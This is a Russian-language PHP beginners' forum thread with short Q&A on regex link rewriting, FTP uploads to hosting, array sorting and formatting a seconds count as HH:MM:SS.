Я сам вижу лишь вариант в добавлением неуспешных элементов(урлов) в спец массив и повторным прогоном их с рандомными проксям, но решение кривовато.
Ребят, скажите плс в каком направлении направить поток мыслей :)
GlooK блин...дико извеняюсь...первый вариант подходит...не так понял тебя)
1 - href=" ./111/22/qwert.php (приходит такой и изменять нельзя)
2 - href="http://rrr.ru/111/22/qwert.php"
как из первого сделать второй?т.е. вместо . подставить http://rrr.ru ?
Ну что ж... попробуем так :)
<?php
$file = '222\n333\n444\n555\n<111 href="./111/22/qwert.php" это ссылко :)';
$replace = 'href="http://rrr.ru';
$result = preg_replace('/href="\.(.*?)"/im', $replace.'\\1"', $file);
echo $result;
?>
Ребят, скажите плс в каком направлении направить поток мыслей :)
Думаю направить в сторону:
while(true) {
//...
//...
if ($stop) {break;}
}
GlooK спасибо!!очень помог...всё работает!жаль плюсонуть не могу(плюсовалка не выросла)))
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста
heretic1990
31.01.2010, 13:10
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста
как же ты собираешься что то делать если не знаешь основ?
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста
регистрируешь хостинг
тебе дают права на фтп
потом через файлзилу(или другой фтп клиент) заходишь и перекидываешь на хост файлы ;)
Подскажите как можно отсортировать
массив такого вида:
0
4
2
6
9
16
10
30
2
14
12
14
11
9
15
1
53
2
21
20
21
16
9
0
21
26
3
12
0
34
3
пробовал uksort не получилось
и еще есть проблема
как 5194 данное число,обозначающее время клиента на сервере привести в нормальный вид времени: HH:MM:SS
qW1zer 1) natsort()
2) Что является отсчетным периодом для времени 5194?
Gifts
Спасибо,но вопрос слегка не до понял
'onlinetime' => (int)$this->_getfloat()
Принцип такой клиент подключается и пошел отсчет времени которое он находится на сервере
Есть ли способы преобразовать это в нормальный формат времени?
qW1zer echo date('H:i:s', 5194);
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot